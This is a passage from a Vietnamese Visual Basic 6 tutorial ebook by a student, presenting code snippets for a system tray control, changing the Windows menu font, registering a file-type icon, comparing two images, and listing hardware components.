NIM_DELETE = &H2& Public Const NIF_MESSAGE = &H1& Public Const NIF_ICON = &H2& Public Const NIF_TIP = &H4& Public Const WM_MOUSEMOVE = &H200& Public Const WM_LBUTTONDOWN = &H201& Public Const WM_LBUTTONUP = &H202& Public Const WM_LBUTTONDBLCLK = &H203& Public Const WM_RBUTTONDOWN = &H204& Public Const WM_RBUTTONUP = &H205& Public Const WM_RBUTTONDBLCLK = &H206& Public Const BDR_RAISEDOUTER = &H1& Public Const BDR_RAISEDINNER = &H4& Public Const BF_LEFT = &H1& Public Const BF_TOP = &H2& Public Const BF_RIGHT = &H4& Public Const BF_BOTTOM = &H8& Public Const BF_RECT = BF_LEFT Or BF_TOP Or BF_RIGHT Or BF_BOTTOM Public Const BF_SOFT = &H1000& Public Type NOTIFYICONDATA cbSize As Long hwnd As Long uID As Long uFlags As Long uCallbackMessage As Long hIcon As Long szTip As String * 64 End Type Public Type RECT Left As Long Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 15
  • 16. Chiêu thức lập trình VB 6.0 Top As Long Right As Long Bottom As Long End Type Public PrevWndProc As Long '-----------------------------------------------------------Public Function SubWndProc(ByVal hwnd As Long, ByVal MSG As Long, ByVal wParam As Long, ByVal lParam As Long) As Long '-----------------------------------------------------------Dim SysTray As cSysTray Dim ClassAddr As Long '-----------------------------------------------------------Select Case MSG Case TRAY_CALLBACK ClassAddr = GetWindowLong(hwnd, GWL_USERDATA) CopyMemory SysTray, ClassAddr, 4 SysTray.SendEvent lParam, wParam CopyMemory SysTray, 0&, 4 End Select SubWndProc = CallWindowProc(PrevWndProc, hwnd, MSG, wParam, lParam) '-----------------------------------------------------------End Function '-------------------------------------------------------------------- End mSysTray.bas ------------------Sau khi bạn tạo module trên rồi, bạn tạo tiếp một cSysTray.ctl như sau: ----------------- cSysTray.ctl--------------------Option Explicit Private gInTray As Boolean Private gTrayId As Long Private gTrayTip As String Private gTrayHwnd As Long Private gTrayIcon As StdPicture Private gAddedToTray As Boolean Const MAX_SIZE = 510 Private Const defInTray = False Private Const defTrayTip = "System Tray Control" & vbNullChar Private Const sInTray = "InTray" Private Const sTrayIcon = "TrayIcon" Private Const sTrayTip = "TrayTip" Public Event MouseMove(Id As Long) Public Event MouseDown(Button As Integer, Id As Long) Public Event MouseUp(Button As Integer, Id As Long) Public Event MouseDblClick(Button As Integer, Id As Long) '------------------------------------------------------Private Sub UserControl_Initialize() '------------------------------------------------------Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 16
  • 17. Chiêu thức lập trình VB 6.0 gInTray = defInTray gAddedToTray = False gTrayId = 0 gTrayHwnd = hwnd '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Private Sub UserControl_InitProperties() '------------------------------------------------------InTray = defInTray TrayTip = defTrayTip Set TrayIcon = Picture '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Private Sub UserControl_Paint() '------------------------------------------------------Dim edge As RECT '------------------------------------------------------edge.Left = 0 edge.Top = 0 edge.Bottom = ScaleHeight edge.Right = ScaleWidth DrawEdge hDC, edge, BDR_RAISEDOUTER, BF_RECT Or BF_SOFT '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Private Sub UserControl_ReadProperties(PropBag As PropertyBag) '------------------------------------------------------With PropBag InTray = .ReadProperty(sInTray, defInTray) Set TrayIcon = .ReadProperty(sTrayIcon, Picture) TrayTip = .ReadProperty(sTrayTip, defTrayTip) End With '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Private Sub UserControl_WriteProperties(PropBag As PropertyBag) '------------------------------------------------------With PropBag .WriteProperty sInTray, gInTray .WriteProperty sTrayIcon, gTrayIcon .WriteProperty sTrayTip, gTrayTip End With '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Private Sub UserControl_Resize() '------------------------------------------------------Height = MAX_SIZE Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 17
  • 18. Chiêu thức lập trình VB 6.0 Width = MAX_SIZE '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Private Sub UserControl_Terminate() '------------------------------------------------------If InTray Then InTray = False End If '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Public Property Set TrayIcon(Icon As StdPicture) '------------------------------------------------------Dim Tray As NOTIFYICONDATA Dim rc As Long '------------------------------------------------------If Not (Icon Is Nothing) Then If (Icon.Type = vbPicTypeIcon) Then If gAddedToTray Then Tray.uID = gTrayId Tray.hwnd = gTrayHwnd Tray.hIcon = Icon.Handle Tray.uFlags = NIF_ICON Tray.cbSize = Len(Tray) rc = Shell_NotifyIcon(NIM_MODIFY, Tray) End If Set gTrayIcon = Icon Set Picture = Icon PropertyChanged sTrayIcon End If End If '------------------------------------------------------End Property '------------------------------------------------------'------------------------------------------------------Public Property Get TrayIcon() As StdPicture '------------------------------------------------------Set TrayIcon = gTrayIcon '------------------------------------------------------End Property '------------------------------------------------------'------------------------------------------------------Public Property Let TrayTip(Tip As String) '------------------------------------------------------Dim Tray As NOTIFYICONDATA Dim rc As Long '------------------------------------------------------If gAddedToTray Then Tray.uID = gTrayId Tray.hwnd = gTrayHwnd Tray.szTip = Tip & vbNullChar Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 18
  • 19. Chiêu thức lập trình VB 6.0 Tray.uFlags = NIF_TIP Tray.cbSize = Len(Tray) rc = Shell_NotifyIcon(NIM_MODIFY, Tray) End If gTrayTip = Tip PropertyChanged sTrayTip '------------------------------------------------------End Property '------------------------------------------------------'------------------------------------------------------Public Property Get TrayTip() As String '------------------------------------------------------TrayTip = gTrayTip '------------------------------------------------------End Property '------------------------------------------------------'------------------------------------------------------Public Property Let InTray(Show As Boolean) '------------------------------------------------------Dim ClassAddr As Long '------------------------------------------------------If (Show <> gInTray) Then If Show Then If Ambient.UserMode Then PrevWndProc = SetWindowLong(gTrayHwnd, GWL_WNDPROC, AddressOf SubWndProc) SetWindowLong gTrayHwnd, GWL_USERDATA, ObjPtr(Me) AddIcon gTrayHwnd, gTrayId, TrayTip, TrayIcon gAddedToTray = True End If Else If gAddedToTray Then DeleteIcon gTrayHwnd, gTrayId SetWindowLong gTrayHwnd, GWL_WNDPROC, PrevWndProc gAddedToTray = False End If End If gInTray = Show PropertyChanged sInTray End If '------------------------------------------------------End Property '------------------------------------------------------'------------------------------------------------------Public Property Get InTray() As Boolean '------------------------------------------------------InTray = gInTray '------------------------------------------------------End Property '------------------------------------------------------Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 19
  • 20. Chiêu thức lập trình VB 6.0 '------------------------------------------------------Private Sub AddIcon(hwnd As Long, Id As Long, Tip As String, Icon As StdPicture) '------------------------------------------------------Dim Tray As NOTIFYICONDATA Dim tFlags As Long Dim rc As Long '------------------------------------------------------Tray.uID = Id Tray.hwnd = hwnd If Not (Icon Is Nothing) Then Tray.hIcon = Icon.Handle Tray.uFlags = Tray.uFlags Or NIF_ICON Set gTrayIcon = Icon End If If (Tip <> "") Then Tray.szTip = Tip & vbNullChar Tray.uFlags = Tray.uFlags Or NIF_TIP gTrayTip = Tip End If Tray.uCallbackMessage = TRAY_CALLBACK Tray.uFlags = Tray.uFlags Or NIF_MESSAGE Tray.cbSize = Len(Tray) rc = Shell_NotifyIcon(NIM_ADD, Tray) '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Private Sub DeleteIcon(hwnd As Long, Id As Long) '------------------------------------------------------Dim Tray As NOTIFYICONDATA Dim rc As Long '------------------------------------------------------Tray.uID = Id Tray.hwnd = hwnd Tray.uFlags = 0& Tray.cbSize = Len(Tray) rc = Shell_NotifyIcon(NIM_DELETE, Tray) '------------------------------------------------------End Sub '------------------------------------------------------'------------------------------------------------------Friend Sub SendEvent(MouseEvent As Long, Id As Long) '------------------------------------------------------Select Case MouseEvent Case WM_MOUSEMOVE RaiseEvent MouseMove(Id) Case WM_LBUTTONDOWN RaiseEvent MouseDown(vbLeftButton, Id) Case WM_LBUTTONUP RaiseEvent MouseUp(vbLeftButton, Id) Case WM_LBUTTONDBLCLK RaiseEvent MouseDblClick(vbLeftButton, Id) Case WM_RBUTTONDOWN RaiseEvent MouseDown(vbRightButton, Id) Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 20
  • 21. Chiêu thức lập trình VB 6.0 Case WM_RBUTTONUP RaiseEvent MouseUp(vbRightButton, Id) Case WM_RBUTTONDBLCLK RaiseEvent MouseDblClick(vbRightButton, Id) End Select '------------------------------------------------------End Sub '-----------------------------------------------------------------------End cSysTray.ctl-----------------------Sau khi tạo xong hai phần trên, bạn biên dịch nó thành một Control OCX và đặt tên là cSysTray.ocx... Vậy là bạn đã xong phần thứ nhất PHẦN II: tạo một project mới để dùng OCX cSysTray.ocx Bạn nhập đoạn mã sau vào : Private Sub cSysTray1_MouseUp(Button As Integer, Id As Long) 'Nếu bạn nhấn chuột phải lên systray Icon Select Case Button Case vbRightButton PopupMenu MainMenu End Select End Sub Private Sub Form_Load() Me.Visible=False cSysTray1.InTray=True cSysTray1.TrayTip="http://www.khunglongbeo.com/ End Sub Đôc chiêu 14 : Thay đổi Font tiếng việt cho Menu của Window Xuất xứ : www.pcworld.com.vn Binh khí sử dụng : Không Đoạn mã : home 'Các hằng được dùng cho các hàm API Private Const LF_FaceSize=32 Private Type LOGFONT lfHeight As Long lfWidth As Long lfEscapement As Long lfOrientation As Long lfWeight As Long lfItalic As Byte lfUnderline As Byte lfStrikeOut As Byte lfCharset As Byte lfOutPrecision As Byte lfClipPrecision As Byte lfQuality As Byte lfPitchAndFamily As Byte lfFaceName(1 To LF_FaceSize) As Byte End Type Private Type NONCLIENTMETRICS Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 21
  • 22. Chiêu thức lập trình VB 6.0 cbSize As Long iBorderWidth As Long iScrollWidth As Long iScoolHeight As Long iCaptionWidth As Long iCaptionHeight As Long iSMCaptionWidth As Long iSMCaptionHeight As Long lfCaptionFont As LOGFONT iMenuWidth As Long iMenuHeight As Long lfMenuFont As LOGFONT lfStatusFont As LOGFONT lfMessageFont As LOGFONT End Type Const SPI_SetNonClientMetrics = 42 Const SPI_GettNonClientMetrics = 41 'Các hàm API cần thiết 'Hàm SystemParametersInfo sẽ gọi lại tất cả thông tin các tham số ngoài hệ thống. Nó còn có khả năng cập nhật những thông tin do người dùng tự phát triển. Chính vì thế bạn dùng nó để thay đổi Font là rất hợp lí Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, Byval uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long Private Const REF_StructureSize = 340 ` Sizeof( NONCLIENTMETRICS) Private Const VNI_FontHeight = -13 Private Const VNI_FontWeight = 700 Private Const VNI_FontName = "VNI-Palatin" Private Const VNI_FontLen = 11 `Len(VNI_FontName) Private FontMetric As NONCLIENTMETRICS Private OldFontMetric As NONCLIENTMETRICS 'Thủ tục này dùng để thay đổi Font của Menu Private Sub ChangeFont() Dim I As Integer Dim VarGT As Long Dim VarHeight As Long Dim VarWeight As Long Dim VarStr As String FontMetric.cbSize = REG_StructureSize VarGT = SystemParametersInfo(SPI_GetNonClientMetrics,REG_StructureSize, FontMetric, 0) OldFontMetric =FontMetric FontMetric.lfCaptionFont.lfHeight = VNI_FontHeight FontMetric.lfCaptionFont.lfWeight = VNI_FontWeight VarStr = VNI_FontName For I=1 To LF_FaceSize If I <= VNI_FontLen Then FontMetric.lfCaptionFont.lfFaceName(I)= CByte(Asc(Mid(VarStr,I,1))) FontMetric.lfMenuFont.lfFaceName(I)= CByte(Asc(Mid(VarStr,I,1))) Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 22
  • 23. Chiêu thức lập trình VB 6.0 Else FontMetric.lfCaptionFont.lfFaceName(I) = 0 FontMetric.lfMenuFont.lfFaceName(I) = 0 End If Next I VarGT= SystemParametersInfo (SPI_SetNonClientMetrics, REG_StructureSize, FontMetric,0) End Sub 'THủ tục để phục hồi lại font cho menu Private Sub RestoreFont() Dim VarGT As Long VarGT= SystemParametersInfo (SPI_SetNonClientMetrics, REG_StructureSize, OldFontMetric,0) End Sub 'Khi form được khởi tạo thì đổi Font Private Sub Form_Load() ChangeFont End Sub 'Khi form thoát thì khởi tạo lại font mặc định cho hệ thống bước này quan trọng vì nếu bạn không phục hồi lại font hệ thống thì các menu khác trong Window sẽ nhảy lộn xộn cả lên Private Sub Form_UnLoad(Cancel As Integer) RestoreFont End End Sub Đôc chiêu 14 : Hiện Icon đại diện cho một loại file Xuất xứ : www.ttvnol.com Binh khí sử dụng : 1 Module Đoạn mã : home 'Bạn tạo một module mới và dán đoạn mã này vào 'Các hàm API cần thiết Private Declare Function RegCreateKey Lib "advapi32.dll" _ Alias "RegCreateKeyA" (ByVal hKey As Long, _ ByVal lpSubKey As String, _ phkResult As Long) As Long Private Declare Function RegSetValue Lib "advapi32.dll" _ Alias "RegSetValueA" (ByVal hKey As Long, _ ByVal lpSubKey As String, _ ByVal dwType As Long, _ ByVal lpData As String, _ ByVal cbData As Long) As Long 'Thực chất của việc tạo Icon riêng cho ứng dụng là việc bạn đăng kí cho Registry của Window biết là bạn đã đăng nhập vào "quốc gia" của họ 'Các hằng số mang giá trị phản hồi từ Registry Const ERROR_SUCCESS = 0& Const ERROR_BADDB = 1& Const ERROR_BADKEY = 2& Const ERROR_CANTOPEN = 3& Const ERROR_CANTREAD = 4& Const ERROR_CANTWRITE = 5& Const ERROR_OUTOFMEMORY = 6& Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 23
  • 24. Chiêu thức lập trình VB 6.0 Const ERROR_INVALID_PARAMETER = 7& Const ERROR_ACCESS_DENIED = 8& Private Const HKEY_CLASSES_ROOT = &H80000000 Private Const MAX_PATH = 260& Private Const REG_SZ = 1 'Hàm API cần thiết Private Declare Sub SHChangeNotify Lib "shell32.dll" _ (ByVal wEventId As Long, _ ByVal uFlags As Long, _ dwItem1 As Any, _ dwItem2 As Any) Const SHCNE_ASSOCCHANGED = &H8000000 Const SHCNF_IDLIST = &H0& 'THủ tục dùng để đăng kí Icon cho chương trình Public Sub Tao_File_He_Thong() 'Giả sử rằng chương trình của bạn sẽ đăng kí ch việc thay đổi các tập tin có phần mở rộng là "*.mp3". Dim sKeyName As String 'Nắm tên khoá trong Reg Dim sKeyValue As String ''Nắm một giá trị của khoá trong Reg Dim Ret& Dim lphKey& Dim Path As String Path = App.Path If Right(Path, 1) <> "" Then Path = Path & "" End If 'Đăng kí cho một giá trị khoá gốc là tên ứng dụng của bạn. Ví dụ, bạn đặt tên cho chương trình là "Khunglongbeo.exe" thì giá trị của nó là "Khunglongbeo" và khi hoàn tất, tập tin sẽ có thuộc tính là "Khunglongbeo's File " (một hàng chữ mờ mờ bên dưới các file mà bạn thương gặp) sKeyName = "Khunglongbeo" sKeyValue = "Khunglongbeo's File" Ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&) Ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) 'Đăng kí phần mở rộng "*.mp3" liên kết với ứng dụng mang tên "khunglongbeo" của bạn sKeyName = ".mp3" sKeyValue = "Khunglongbeo" Ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&) Ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) sKeyName = "Khunglongbeo" sKeyValue = Path & "Khunglongbeo.exe %1" Ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&) Ret& = RegSetValue&(lphKey&, "shellopencommand", REG_SZ, _ sKeyValue, MAX_PATH) 'Lấy một Icon làm ảnh đại diện sKeyName = "Khunglongbeo" Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 24
  • 25. Chiêu thức lập trình VB 6.0 'Bạn hãy tìm một file .Ico bất kì và lưu vào đường dẫn sẽ qui định bên dưới (đường dẫn này tuỳ bạn qui định) sKeyValue = Path & "KLB.ico" Ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&) Ret& = RegSetValue&(lphKey&, "DefaultIcon", REG_SZ, _ sKeyValue, MAX_PATH) 'Đổi Icon SHChangeNotify SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0 End Sub '************************** 'Phần mã này bạn hãy nhập vào Form1 Private Sub Form_Load() Tao_File_He_Thong End Sub Đôc chiêu 15 : So sánh hai ảnh Xuất xứ : www.ttvnol.com Binh khí sử dụng : home Bạn vẽ lên form1 các control sau : 2 picture box (picture1 và picture2) 2 label edit (label1 và label2) 1 command button (command1) Bạn trang trí form như hình sau: Đoạn mã : Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 25
  • 26. Chiêu thức lập trình VB 6.0 ''Mã nguồn so sánh hai hình ảnh có định dạng bất kì Được viết bởi khunglongbeo Email Address: khunglongbeo@hotmail.com Ngày viết : 11/06/2003 ‘ Do tôn trọng tác giả nên tôi xin được giữ nguyên phần này ''Cac ham API can thiet Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long Private Declare Function SetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long) As Long '-------------------------------------------------------------------------------''Ham dung de so sanh xem hai hinh co giong nhau khong ? Private Sub So_Sanh(lpHinh1 As PictureBox, lpHinh2 As PictureBox) Dim i As Long Dim j As Long Dim Mang1() As Long Dim Mang2() As Long Dim Co As Integer ''Chuyen tung anh sang che do pixels lpHinh1.ScaleMode = vbPixels lpHinh2.ScaleMode = vbPixels Co = 0 ''Duyet gia tri cho tung pixel anh ReDim Mang1(lpHinh1.Width, lpHinh1.Height) As Long For i = 0 To lpHinh1.Width - 1 For j = 0 To lpHinh1.Height - 1 ''Luu tung gia tri pixel vao trong Mang1 Mang1(i, j) = GetPixel(lpHinh1.hdc, i, j) ''Tao thanh truot gia dinh dang quet tung pixel SetPixel lpHinh1.hdc, i, j, vbRed SetPixel lpHinh1.hdc, i - 1, j, Mang1(i, j) lpHinh1.Refresh ''Dinh vi tri pixel hien hanh lbl1.Caption = "X : Y = " & i & ":" & j DoEvents Next j Next i ''Doan ma nay giong ma tren dung de xu li anh 2 ReDim Mang2(lpHinh2.Width, lpHinh2.Height) As Long For i = 0 To lpHinh2.Width - 1 For j = 0 To lpHinh2.Height - 1 Mang2(i, j) = GetPixel(lpHinh2.hdc, i, j) SetPixel lpHinh2.hdc, i, j, vbRed SetPixel lpHinh2.hdc, i - 1, j, Mang2(i, j) lpHinh2.Refresh lbl2.Caption = "X : Y = " & i & ":" & j DoEvents Next j Next i ''So sanh tung pixel tu hai mang trung gian On Error Resume Next If (lpHinh1.Width * lpHinh1.Height) >= (lpHinh2.Width * lpHinh2.Height) Then For i = 0 To lpHinh1.Width - 1 For j = 0 To lpHinh1.Height - 1 If Mang1(i, j) <> Mang2(i, j) Then Co = Co + 1 MsgBox "The nay ma bao giong nhau a ???" Exit Sub End If Next j Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 26
  • 27. Chiêu thức lập trình VB 6.0 Next i If Co = 0 Then MsgBox "Hai hinh nay giong y nhau ta oi !" End If Else For i = 0 To lpHinh2.Width - 1 For j = 0 To lpHinh2.Height - 1 If Mang1(i, j) <> Mang2(i, j) Then Co = Co + 1 MsgBox "The nay ma bao giong nhau a ???" Exit Sub End If Next j Next i If Co = 0 Then MsgBox "Hai hinh nay giong y nhau ta oi!" End If End If End Sub Private Sub CmdSS_Click() Call So_Sanh(Pic1, Pic2) End Sub Private Sub Form_Load() On Error Resume Next 'Doi voi picture1 Picture1.Name = "Pic1" Picture1.AutoRedraw = True Picture1.AutoSize = True Picture1.Appearance = True Picture1.BorderStyle = 0 ''Doi voi picture2 Picture2.Name = "Pic2" Picture2.AutoRedraw = True Picture2.AutoSize = True Picture2.Appearance = True Picture2.BorderStyle = 0 ''Doi voi cac label Label1.Name = "lbl1" Label2.Name = "lbl2" ''Doi voi command button Command1.Name = "CmdSS" Command1.Font = "VNI-Palatin" Command1.Caption = "So sánh" ''Doi voi form Me.AutoRedraw = True Me.ScaleMode = vbPixels End Sub Lời kết Bạn chạy thử và xem điều gì sẽ xảy ra. Chương trình sẽ chạy rất chậm nếu như hình có kích thước lớn. Tuy nhiên, kết quả cũng không tệ... Đối với những hình có độ nhoè, bạn có thể qui định bằng cách thêm một số nguyên trong hàm để qui định phần trăm độ nhoè.... Kĩ thuật nhận dạng giới hạn độ nhoè cho phép bảo mật bằng sinh trắc học thực ra cũng không khó về thuật toán. Chỉ cần có máy móc kĩ thuật cao một tí là các bạn có thể làm mọi thứ mình cần Đôc chiêu 16 : Liệt kê danh sách các thành phần phần cứng trong máy Xuất xứ : www.ttvnol.com Binh khí sử dụng : Không Đoạn mã : Dim Ports(0 To 100) As PORT_INFO_2 Const KT_TYPE = 0 Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông home Trang 27
  • 28. Chiêu thức lập trình VB 6.0 Const PRINTER_ENUM_LOCAL = &H2 Private Type PRINTER_INFO_1 flags As Long pDescription As String pName As String pComment As String End Type Private Type DISPLAY_DEVICE cb As Long DeviceName As String * 32 DeviceString As String * 128 StateFlags As Long DeviceID As String * 128 DeviceKey As String * 128 End Type Private Declare Sub GetSystemInfo Lib "kernel32" (lpSystemInfo As SYSTEM_INFO) Private Type SYSTEM_INFO dwOemID As Long dwPageSize As Long lpMinimumApplicationAddress As Long lpMaximumApplicationAddress As Long dwActiveProcessorMask As Long dwNumberOrfProcessors As Long dwProcessorType As Long dwAllocationGranularity As Long dwReserved As Long End Type Private Type PORT_INFO_2 pPortName As String pMonitorName As String pDescription As String fPortType As Long Reserved As Long End Type Private Type API_PORT_INFO_2 pPortName As Long pMonitorName As Long pDescription As Long fPortType As Long Reserved As Long End Type Const MAX_HOSTNAME_LEN = 132 Const MAX_DOMAIN_NAME_LEN = 132 Const MAX_SCOPE_ID_LEN = 260 Const MAX_ADAPTER_NAME_LENGTH = 260 Const MAX_ADAPTER_ADDRESS_LENGTH = 8 Const MAX_ADAPTER_DESCRIPTION_LENGTH = 132 Const ERROR_BUFFER_OVERFLOW = 111 Const MIB_IF_TYPE_ETHERNET = 1 Const MIB_IF_TYPE_TOKENRING = 2 Const MIB_IF_TYPE_FDDI = 3 Const MIB_IF_TYPE_PPP = 4 Const MIB_IF_TYPE_LOOPBACK = 5 Const MIB_IF_TYPE_SLIP = 6 Private Type IP_ADDR_STRING Next As Long IpAddress As String * 16 IpMask As String * 16 Context As Long End Type Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 28
  • 29. Chiêu thức lập trình VB 6.0 Private Type IP_ADAPTER_INFO Next As Long ComboIndex As Long AdapterName As String * MAX_ADAPTER_NAME_LENGTH Description As String * MAX_ADAPTER_DESCRIPTION_LENGTH AddressLength As Long Address(MAX_ADAPTER_ADDRESS_LENGTH - 1) As Byte Index As Long Type As Long DhcpEnabled As Long CurrentIpAddress As Long IpAddressList As IP_ADDR_STRING GatewayList As IP_ADDR_STRING DhcpServer As IP_ADDR_STRING HaveWins As Boolean PrimaryWinsServer As IP_ADDR_STRING SecondaryWinsServer As IP_ADDR_STRING LeaseObtained As Long LeaseExpires As Long End Type Private Type FIXED_INFO HostName As String * MAX_HOSTNAME_LEN DomainName As String * MAX_DOMAIN_NAME_LEN CurrentDnsServer As Long DnsServerList As IP_ADDR_STRING NodeType As Long ScopeId As String * MAX_SCOPE_ID_LEN EnableRouting As Long EnableProxy As Long EnableDns As Long End Type Private Declare Function GetNetworkParams Lib "IPHlpApi" (FixedInfo As Any, pOutBufLen As Long) As Long Private Declare Function GetAdaptersInfo Lib "IPHlpApi" (IpAdapterInfo As Any, pOutBufLen As Long) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Private Declare Function EnumPorts Lib "winspool.drv" Alias "EnumPortsA" (ByVal pName As String, ByVal Level As Long, ByVal lpbPorts As Long, ByVal cbBuf As Long, pcbNeeded As Long, pcReturned As Long) As Long Private Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (pTo As Any, uFrom As Any, ByVal lSize As Long) Private Declare Function HeapAlloc Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long Private Declare Function GetProcessHeap Lib "kernel32" () As Long Private Declare Function HeapFree Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, lpMem As Any) As Long Private Declare Function EnumDisplayDevices Lib "user32" Alias "EnumDisplayDevicesA" (Unused As Any, ByVal iDevNum As Long, lpDisplayDevice As DISPLAY_DEVICE, ByVal dwFlags As Long) As Boolean Private Declare Function EnumPrinters Lib "winspool.drv" Alias "EnumPrintersA" (ByVal flags As Long, ByVal name As String, ByVal Level As Long, pPrinterEnum As Long, ByVal cdBuf As Long, pcbNeeded As Long, pcReturned As Long) As Long Private Declare Function lstrcpy Lib "kernel32.dll" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 29
  • 30. Chiêu thức lập trình VB 6.0 Private Declare Function lstrlen Lib "kernel32.dll" Alias "lstrlenA" (ByVal lpString As Long) As Long Private Declare Function GetKeyboardType Lib "user32" (ByVal nTypeFlag As Long) As Long '*********************************************************************'Liệt kê tên của Card Màn hình Private Sub Ten_Card_ManHinh() Dim DD As DISPLAY_DEVICE DD.cb = Len(DD) If EnumDisplayDevices(ByVal 0&, 0, DD, ByVal 0&) Then Me.Print "Teân cuûa card maøn hình : " + Left$(DD.DeviceString, InStr(1, DD.DeviceString, Chr$(0)) - 1) Else Me.Print "Khoâng thaáy card maøn hình" End If End Sub '*********************************************************************'LIệt kê danh sách tên máy in Private Sub Ten_Cac_May_In() Dim longbuffer() As Long Dim printinfo() As PRINTER_INFO_1 Dim numbytes As Long Dim numneeded As Long Dim numprinters As Long Dim c As Integer, retval As Long numbytes = 3076 ReDim longbuffer(0 To numbytes / 4) As Long retval = EnumPrinters(PRINTER_ENUM_LOCAL, "", 1, longbuffer(0), numbytes, numneeded, numprinters) If retval = 0 Then numbytes = numneeded ReDim longbuffer(0 To numbytes / 4) As Long retval = EnumPrinters(PRINTER_ENUM_LOCAL, "", 1, longbuffer(0), numbytes, numneeded, numprinters) If retval = 0 Then Debug.Print "Could not successfully enumerate the printes." End End If End If If numprinters <> 0 Then ReDim printinfo(0 To numprinters - 1) As PRINTER_INFO_1 For c = 0 To numprinters - 1 printinfo(c).flags = longbuffer(4 * c) printinfo(c).pDescription = Space(lstrlen(longbuffer(4 * c + 1))) retval = lstrcpy(printinfo(c).pDescription, longbuffer(4 * c + 1)) printinfo(c).pName = Space(lstrlen(longbuffer(4 * c + 2))) retval = lstrcpy(printinfo(c).pName, longbuffer(4 * c + 2)) printinfo(c).pComment = Space(lstrlen(longbuffer(4 * c + 3))) retval = lstrcpy(printinfo(c).pComment, longbuffer(4 * c + 3)) Next c For c = 0 To numprinters - 1 Me.Print "Teân cuûa maùy in thöù "; c + 1; " laø : "; printinfo(c).pName Next c End Sub '*********************************************************************'Hàm dùng để kiểu bàn phím Private Sub Ban_Phim() Select Case GetKeyboardType(KT_TYPE) Case 1 Me.Print "Keyboard type: IBM PC/XT or compatible (83-key) keyboard" Case 2 Me.Print "Keyboard type: Olivetti “ICO” (102-key) keyboard" Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 30
  • 31. Chiêu thức lập trình VB 6.0 Case 3 Me.Print "Keyboard type: IBM PC/AT (84-key) or similar keyboard" Case 4 Me.Print "Keyboard type: IBM enhanced (101- or 102-key) keyboard" Case 5 Me.Print "Keyboard type: Nokia 1050 and similar keyboards" Case 6 Me.Print "Keyboard type: Nokia 9140 and similar keyboards" Case 7 Me.Print "Keyboard type: Japanese keyboard" Case Else Me.Print "Keyboard type: Unknown" End Select End Sub '********************************************************************* 'Hàm lấy số serial và hiệu của CPU Private Sub Lay_CPU() Dim SInfo As SYSTEM_INFO GetSystemInfo SInfo Me.Print "soá löôïng CPU : " + Str$(SInfo.dwNumberOrfProcessors) Me.Print "Ñôøi CPU : " + Str$(SInfo.dwProcessorType) Me.Print "Ñòa chæ boä nhôù döôùi : " + Str$(SInfo.lpMinimumApplicationAddress) Me.Print "Ñòa chæ boä nhôù treân : " + Str$(SInfo.lpMaximumApplicationAddress) End Sub '*********************************************************************'Danh sách các Ports trong máy Public Function TrimStr(strName As String) As String Dim x As Integer x = InStr(strName, vbNullChar) If x > 0 Then TrimStr = Left(strName, x - 1) Else TrimStr = strName End Function Public Function LPSTRtoSTRING(ByVal lngPointer As Long) As String Dim lngLength As Long lngLength = lstrlenW(lngPointer) * 2 LPSTRtoSTRING = String(lngLength, 0) CopyMem ByVal StrPtr(LPSTRtoSTRING), ByVal lngPointer, lngLength LPSTRtoSTRING = TrimStr(StrConv(LPSTRtoSTRING, vbUnicode)) End Function Public Function GetAvailablePorts(ServerName As String) As Long Dim ret As Long Dim PortsStruct(0 To 100) As API_PORT_INFO_2 Dim pcbNeeded As Long Dim pcReturned As Long Dim TempBuff As Long Dim i As Integer ret = EnumPorts(ServerName, 2, TempBuff, 0, pcbNeeded, pcReturned) TempBuff = HeapAlloc(GetProcessHeap(), 0, 